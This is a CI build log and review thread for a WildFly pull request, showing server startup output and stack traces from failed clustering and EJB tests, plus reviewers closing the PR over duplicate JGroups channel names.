13:57:39,827 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-1
13:57:39,828 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Deploying deployment=deployment-0
 [0m13:57:39,851 INFO  [org.jboss.as.repository] (management-handler-thread - 5) WFLYDR0001: Content added at location /opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-SYNC-tcp-0/standalone/data/content/30/f2c590107114d39d149ef76c2d679428fb601b/content
 [0m [0m13:57:39,854 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-3) WFLYSRV0027: Starting deployment of "cdi-failover.war" (runtime-name: "cdi-failover.war")
 [0m [0m13:57:39,877 INFO  [org.jboss.weld.deployer] (MSC service thread 1-1) WFLYWELD0003: Processing weld deployment cdi-failover.war
 [0m [0m13:57:39,888 INFO  [org.jboss.as.ejb3.deployment] (MSC service thread 1-1) WFLYEJB0473: JNDI bindings for session bean named 'CdiIncrementorBean' in deployment unit 'deployment "cdi-failover.war"' are as follows:

	java:global/cdi-failover/CdiIncrementorBean!org.jboss.as.test.clustering.cluster.ejb.stateful.bean.Incrementor
	java:app/cdi-failover/CdiIncrementorBean!org.jboss.as.test.clustering.cluster.ejb.stateful.bean.Incrementor
	java:module/CdiIncrementorBean!org.jboss.as.test.clustering.cluster.ejb.stateful.bean.Incrementor
	java:global/cdi-failover/CdiIncrementorBean
	java:app/cdi-failover/CdiIncrementorBean
	java:module/CdiIncrementorBean

 [0m [0m13:57:39,929 INFO  [org.jboss.weld.deployer] (MSC service thread 1-1) WFLYWELD0006: Starting Services for CDI deployment: cdi-failover.war
 [0m [0m13:57:39,951 INFO  [org.jboss.weld.deployer] (MSC service thread 1-1) WFLYWELD0009: Starting weld service for deployment cdi-failover.war
 [0m [0m13:57:40,067 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 29) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
 [0m [0m13:57:40,067 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 29) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
 [0m [0m13:57:40,081 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 35) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
 [0m [0m13:57:40,081 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 35) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
 [0m [0m13:57:40,082 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 29) ISPN000078: Starting JGroups channel ejb
 [0m [0m13:57:40,084 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 77) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
 [0m [0m13:57:40,085 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 77) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
 [0m [0m13:57:40,094 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 77) ISPN000078: Starting JGroups channel web
 [0m [0m13:57:40,099 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 29) ISPN000094: Received new cluster view for channel ejb: [node-0|4] (3) [node-0, node-1, node-0]
 [0m [0m13:57:40,100 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 29) ISPN000079: Channel ejb local address is node-0, physical addresses are [0:0:0:0:0:0:0:1:7601]

org.jboss.as.test.clustering.xsite.XSiteSimpleTestCase.testPutToBackupNotRelayed: java.lang.IllegalArgumentException: Deployment with name deployment-0 could not be deployed. Container container-0 must be started first.
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.deploy(ClusterAbstractTestCase.java:115)
	at org.jboss.as.test.clustering.cluster.ExtendedClusterAbstractTestCase.beforeTestMethod(ExtendedClusterAbstractTestCase.java:37)
------- Stdout: -------
14:18:25,232 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-0
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)
	at org.jboss.as.test.clustering.NodeUtil.start(NodeUtil.java:68)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.start(ClusterAbstractTestCase.java:107)
	at org.jboss.as.test.clustering.cluster.ExtendedClusterAbstractTestCase.beforeTestMethod(ExtendedClusterAbstractTestCase.java:36)

14:18:25,378 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-1
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)
	at org.jboss.as.test.clustering.NodeUtil.start(NodeUtil.java:68)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.start(ClusterAbstractTestCase.java:107)
	at org.jboss.as.test.clustering.cluster.ExtendedClusterAbstractTestCase.beforeTestMethod(ExtendedClusterAbstractTestCase.java:36)

14:18:25,403 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-2
14:18:25,416 WARNING [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Bundles path is deprecated and no longer used.
14:18:25,417 INFO  [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Starting container with: [/usr/java/latest/bin/java, -D[Standalone], -Xms64m, -Xmx512m, -Xmx512m, -Djava.net.preferIPv4Stack=true, -Djava.net.preferIPv4Stack=false, -Djava.awt.headless=true, -Djboss.modules.system.pkgs=org.jboss.byteman, -Djboss.dist=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djboss.dist=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djava.net.preferIPv6Addresses=true, -server, -Dts.timeout.factor=100, -Dnode0=::1, -Dnode1=::1, -Dmcast=ff13::1, -Dmcast.ttl=0, -Djbossas.ts.submodule.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering, -Djbossas.ts.integ.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/.., -Djbossas.ts.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../.., -Djbossas.project.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/../../.., -Djboss.inst=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0, -Djboss.node.name=NYC-0, -Djboss.port.offset=200, -ea, -Djboss.home.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0, -Dorg.jboss.boot.log.file=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/standalone/log/server.log, -Dlogging.configuration=file:/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/standalone/configuration/logging.properties, -jar, /opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/jboss-modules.jar, -mp, /opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/modules:/opt/buildAgent/work/a31d203e70e89f90/dist/target/wildfly-10.0.0.CR2-SNAPSHOT/modules:/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/modules, org.jboss.as.standalone, -Djboss.home.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0, -Djboss.server.base.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/standalone, -Djboss.server.log.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/standalone/log, -Djboss.server.config.dir=/opt/buildAgent/work/a31d203e70e89f90/testsuite/integration/clustering/target/wildfly-xsite-NYC-0/standalone/configuration, -Dts.wildfly.version=10.0.0.CR2-SNAPSHOT, -c=standalone-ha.xml]
14:18:25,505 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:18:25,566 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:18:25,605 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final
 [0m14:18:25,974 INFO  [org.jboss.modules] (main) JBoss Modules version 1.4.4.Final
 [0m [0m14:18:26,202 INFO  [org.jboss.msc] (main) JBoss MSC version 1.2.6.Final
 [0m [0m14:18:26,293 INFO  [org.jboss.as] (MSC service thread 1-4) WFLYSRV0049: WildFly Full 10.0.0.CR2-SNAPSHOT (WildFly Core 2.0.0.CR4) starting
 [0m [0m14:18:27,859 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 23) WFLYCTL0028: Attribute 'enabled' in the resource at address '/subsystem=datasources/data-source=ExampleDS' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
 [0m [0m14:18:27,907 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 11) WFLYCTL0028: Attribute 'stack' in the resource at address '/subsystem=jgroups/stack=tcp/relay=relay.RELAY2/remote-site=LON' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
 [0m [0m14:18:27,908 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 11) WFLYCTL0028: Attribute 'stack' in the resource at address '/subsystem=jgroups/stack=tcp/relay=relay.RELAY2/remote-site=SFO' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
 [0m [0m14:18:28,091 INFO  [org.jboss.as.server] (Controller Boot Thread) WFLYSRV0039: Creating http management service using socket-binding (management-http)
 [0m [0m14:18:28,116 INFO  [org.xnio] (MSC service thread 1-3) XNIO version 3.3.2.Final
 [0m [0m14:18:28,124 INFO  [org.xnio.nio] (MSC service thread 1-3) XNIO NIO Implementation Version 3.3.2.Final
 [0m [0m14:18:28,190 INFO  [org.jboss.remoting] (MSC service thread 1-3) JBoss Remoting version 4.0.10.Final
 [0m [0m14:18:28,272 INFO  [org.jboss.as.connector.subsystems.datasources] (ServerService Thread Pool -- 36) WFLYJCA0004: Deploying JDBC-compliant driver class org.h2.Driver (version 1.3)
 [0m [0m14:18:28,317 INFO  [org.wildfly.extension.io] (ServerService Thread Pool -- 40) WFLYIO001: Worker 'default' has auto-configured to 4 core threads with 32 task threads based on your 2 available processors
 [0m [0m14:18:28,324 INFO  [org.jboss.as.clustering.infinispan] (ServerService Thread Pool -- 41) WFLYCLINF0001: Activating Infinispan subsystem.
 [0m [0m14:18:28,421 INFO  [org.jboss.as.clustering.jgroups] (ServerService Thread Pool -- 45) WFLYCLJG0001: Activating JGroups subsystem.
 [0m [0m14:18:28,455 INFO  [org.jboss.as.naming] (ServerService Thread Pool -- 51) WFLYNAM0001: Activating Naming Subsystem
 [0m [33m14:18:28,471 WARN  [org.jboss.as.txn] (ServerService Thread Pool -- 60) WFLYTX0013: Node identifier property is set to the default value. Please make sure it is unique.
 [0m [0m14:18:28,505 INFO  [org.jboss.as.jsf] (ServerService Thread Pool -- 48) WFLYJSF0007: Activated the following JSF Implementations: [main]
 [0m [0m14:18:28,530 INFO  [org.jboss.as.naming] (MSC service thread 1-2) WFLYNAM0003: Starting Naming Service
 [0m [0m14:18:28,531 INFO  [org.jboss.as.mail.extension] (MSC service thread 1-2) WFLYMAIL0001: Bound mail session [java:jboss/mail/Default]
 [0m [0m14:18:28,660 INFO  [org.jboss.as.webservices] (ServerService Thread Pool -- 62) WFLYWS0002: Activating WebServices Extension
 [0m [0m14:18:28,671 INFO  [org.jboss.as.security] (ServerService Thread Pool -- 58) WFLYSEC0002: Activating Security Subsystem
 [0m [0m14:18:28,682 INFO  [org.jboss.as.security] (MSC service thread 1-4) WFLYSEC0001: Current PicketBox version=4.9.3.Final

org.jboss.as.test.manualmode.ejb.client.outbound.connection.RemoteOutboundConnectionReconnectTestCase.testRemoteServerRestarts: java.lang.RuntimeException: org.jboss.as.arquillian.container.ManagementClient$UnSuccessfulOperationException: "WFLYCTL0216: Management resource '[(\"deployment\" => \"server-two-module.jar\")]' not found"
	at org.jboss.as.arquillian.container.ManagementClient.checkSuccessful(ManagementClient.java:357)
	at org.jboss.as.arquillian.container.ManagementClient.executeForResult(ManagementClient.java:348)
	at org.jboss.as.arquillian.container.ManagementClient.readResource(ManagementClient.java:343)
	at org.jboss.as.arquillian.container.ManagementClient.getProtocolMetaData(ManagementClient.java:193)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:145)
	at org.jboss.as.test.manualmode.ejb.client.outbound.connection.RemoteOutboundConnectionReconnectTestCase.testRemoteServerRestarts(RemoteOutboundConnectionReconnectTestCase.java:197)
------- Stdout: -------
14:18:56,135 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:18:56,201 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:18:56,242 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final
14:25:59,420 WARN  [org.jboss.remotingjmx.Util] (main) The protocol 'http-remoting-jmx' is deprecated, instead you should use 'remote+http'.
14:25:59,689 ERROR [org.jboss.as.arquillian.container.ManagementClient] (main) Operation {
    "operation" => "read-resource",
    "recursive" => "true",
    "address" => [("deployment" => "server-two-module.jar")]
} did not succeed. Result was {
    "outcome" => "failed",
    "failure-description" => "WFLYCTL0216: Management resource '[(\"deployment\" => \"server-two-module.jar\")]' not found",
    "rolled-back" => true
}

org.jboss.as.test.manualmode.ejb.client.outbound.connection.RemoteOutboundConnectionReconnectTestCase.testRemoteServerStartsLate: 	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.deploy(ServerDeploymentHelper.java:55)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:77)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.manualmode.ejb.client.outbound.connection.RemoteOutboundConnectionReconnectTestCase.testRemoteServerStartsLate(RemoteOutboundConnectionReconnectTestCase.java:135)
------- Stdout: -------
14:26:00,196 WARN  [org.jboss.as.arquillian.container.ArchiveDeployer] (main) Cannot undeploy: server-one-module.jar: org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper$ServerDeploymentException: java.lang.Exception: "WFLYCTL0216: Management resource '[(\"deployment\" => \"server-one-module.jar\")]' not found"
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.undeploy(ServerDeploymentHelper.java:114)
	at org.jboss.as.arquillian.container.ArchiveDeployer.undeploy(ArchiveDeployer.java:55)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.undeploy(CommonDeployableContainer.java:150)
	at org.jboss.as.test.manualmode.ejb.client.outbound.connection.RemoteOutboundConnectionReconnectTestCase.testRemoteServerStartsLate(RemoteOutboundConnectionReconnectTestCase.java:166)
Caused by: java.lang.Exception: "WFLYCTL0216: Management resource '[(\"deployment\" => \"server-one-module.jar\")]' not found"
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.undeploy(ServerDeploymentHelper.java:107)
	... 169 more

org.jboss.as.test.manualmode.ejb.client.reconnect.EJBClientReconnectionTestCase.testReconnection: java.lang.RuntimeException: org.jboss.as.arquillian.container.ManagementClient$UnSuccessfulOperationException: "WFLYCTL0216: Management resource '[(\"deployment\" => \"ejbclientreconnection.jar\")]' not found"
	at org.jboss.as.arquillian.container.ManagementClient.checkSuccessful(ManagementClient.java:357)
	at org.jboss.as.arquillian.container.ManagementClient.executeForResult(ManagementClient.java:348)
	at org.jboss.as.arquillian.container.ManagementClient.readResource(ManagementClient.java:343)
	at org.jboss.as.arquillian.container.ManagementClient.getProtocolMetaData(ManagementClient.java:193)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:145)
	at org.jboss.as.test.manualmode.ejb.client.reconnect.EJBClientReconnectionTestCase.before(EJBClientReconnectionTestCase.java:99)
------- Stdout: -------
14:30:05,221 INFO  [org.jboss.as.test.manualmode.ejb.client.reconnect.EJBClientReconnectionTestCase] (main) ===appserver started===
14:30:05,268 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:30:05,331 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:30:05,371 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final
14:38:05,143 WARN  [org.jboss.remotingjmx.Util] (main) The protocol 'http-remoting-jmx' is deprecated, instead you should use 'remote+http'.
14:38:05,303 ERROR [org.jboss.as.arquillian.container.ManagementClient] (main) Operation {
    "operation" => "read-resource",
    "recursive" => "true",
    "address" => [("deployment" => "ejbclientreconnection.jar")]
} did not succeed. Result was {
    "outcome" => "failed",
    "failure-description" => "WFLYCTL0216: Management resource '[(\"deployment\" => \"ejbclientreconnection.jar\")]' not found",
    "rolled-back" => true
}

org.jboss.as.test.manualmode.ejb.client.reconnect.EJBClientReconnectionTestCase.testReconnectionWithClientAPI: java.lang.RuntimeException: org.jboss.as.arquillian.container.ManagementClient$UnSuccessfulOperationException: "WFLYCTL0216: Management resource '[(\"deployment\" => \"ejbclientreconnection.jar\")]' not found"
	at org.jboss.as.arquillian.container.ManagementClient.checkSuccessful(ManagementClient.java:357)
	at org.jboss.as.arquillian.container.ManagementClient.executeForResult(ManagementClient.java:348)
	at org.jboss.as.arquillian.container.ManagementClient.readResource(ManagementClient.java:343)
	at org.jboss.as.arquillian.container.ManagementClient.getProtocolMetaData(ManagementClient.java:193)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:145)
	at org.jboss.as.test.manualmode.ejb.client.reconnect.EJBClientReconnectionTestCase.before(EJBClientReconnectionTestCase.java:99)
------- Stdout: -------
14:38:05,372 INFO  [org.jboss.as.test.manualmode.ejb.client.reconnect.EJBClientReconnectionTestCase] (main) ===appserver started===
14:42:05,784 ERROR [org.jboss.as.arquillian.container.ManagementClient] (main) Operation {
    "operation" => "read-resource",
    "recursive" => "true",
    "address" => [("deployment" => "ejbclientreconnection.jar")]
} did not succeed. Result was {
    "outcome" => "failed",
    "failure-description" => "WFLYCTL0216: Management resource '[(\"deployment\" => \"ejbclientreconnection.jar\")]' not found",
    "rolled-back" => true
}

org.jboss.as.test.manualmode.layered.LayeredDistributionTestCase.testLayeredProductVersion: 	at org.jboss.as.test.manualmode.layered.LayeredDistributionTestCase.testLayeredProductVersion(LayeredDistributionTestCase.java:130)
------- Stdout: -------
14:46:09,022 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:46:09,097 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:46:09,138 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final

org.jboss.as.test.manualmode.layered.LayeredDistributionTestCase.testLayeredDeployment: 	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.deploy(ServerDeploymentHelper.java:55)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:77)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.manualmode.layered.LayeredDistributionTestCase.testLayeredDeployment(LayeredDistributionTestCase.java:141)

org.jboss.as.test.manualmode.model.ReadFullModelTestCase.test: java.lang.AssertionError: undefined
	at org.jboss.as.model.test.ModelTestUtils.checkOutcome(ModelTestUtils.java:121)
	at org.jboss.as.model.test.ModelTestUtils.checkResultAndGetContents(ModelTestUtils.java:106)
	at org.jboss.as.test.manualmode.model.ReadFullModelTestCase.test(ReadFullModelTestCase.java:74)
------- Stdout: -------
14:50:13,798 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:50:13,860 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:50:13,894 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final

org.jboss.as.test.manualmode.security.SecuredDataSourceTestCase.test:  at org.jboss.jca.adapters.jdbc.WrapperDataSource.getConnection(WrapperDataSource.java:146)
 at org.jboss.as.connector.subsystems.datasources.WildFlyDataSource.getConnection(WildFlyDataSource.java:66)
 at org.jboss.as.test.integration.security.common.servlets.DataSourceTestServlet.doGet(DataSourceTestServlet.java:85)
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
 at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:86)
 at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
 at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
 at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
 at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
 at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
 at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
 at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
 at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
 at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
 at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
 at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:72)
 at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
 at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
 at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
 at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
 at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
 at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
 at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:284)
 at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:263)
 at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
 at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:174)
 at io.undertow.server.Connectors.executeRootHandler(Connectors.java:198)
 at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:784)
 at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
 at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
 at java.lang.Thread.run(Thread.java:745)
Caused by: javax.resource.ResourceException: IJ000453: Unable to get managed connection for java:jboss/datasources/SecuredDataSourceTestCase
 at org.jboss.jca.core.connectionmanager.AbstractConnectionManager.getManagedConnection(AbstractConnectionManager.java:670)
 at org.jboss.jca.core.connectionmanager.tx.TxConnectionManagerImpl.getManagedConnection(TxConnectionManagerImpl.java:430)
 at org.jboss.jca.core.connectionmanager.AbstractConnectionManager.allocateConnection(AbstractConnectionManager.java:761)
 at org.jboss.jca.adapters.jdbc.WrapperDataSource.getConnection(WrapperDataSource.java:138)
 ... 31 more
Caused by: javax.resource.ResourceException: IJ000658: Unexpected throwable while trying to create a connection: null
 at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreConcurrentLinkedDequeManagedConnectionPool.getConnection(SemaphoreConcurrentLinkedDequeManagedConnectionPool.java:583)
 at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:633)
 at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:605)
 at org.jboss.jca.core.connectionmanager.AbstractConnectionManager.getManagedConnection(AbstractConnectionManager.java:603)
 ... 34 more
]>
	at org.jboss.jca.adapters.jdbc.WrapperDataSource.getConnection(WrapperDataSource.java:146)
	at org.jboss.as.connector.subsystems.datasources.WildFlyDataSource.getConnection(WildFlyDataSource.java:66)
	at org.jboss.as.test.integration.security.common.servlets.DataSourceTestServlet.doGet(DataSourceTestServlet.java:85)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:86)

##### there are 63 more failed tests, see build details

This PR causes multiple failures. Closing it until it is fixed

This isn't going to work.  This causes the server to create 2 JChannels that use the same channel name.
Instead, we need to modify messaging to use a fork of the default channel.  I'm going to close WFLY-5371 as a duplicate of WFLY-5189.

Windows Build 3354 outcome was FAILURE using a merge of 0484a8031ac477fc904e21cdb0f4e92efccae540
Summary: Tests failed: 26 (26 new), passed: 3130, ignored: 369 Build time: 02:53:24
Failed tests
org.jboss.as.test.clustering.cluster.cdi.CdiFailoverTestCase(SYNC-tcp).testGracefulUndeployFailover: 	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:83)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
Caused by: java.lang.Exception: {
    "WFLYCTL0080: Failed services" => {"jboss.infinispan.web.\"cdi-failover.war\"" => "org.jboss.msc.service.StartException in service jboss.infinispan.web.\"cdi-failover.war\": org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Bad response received from coordinator: CacheNotFoundResponse"},
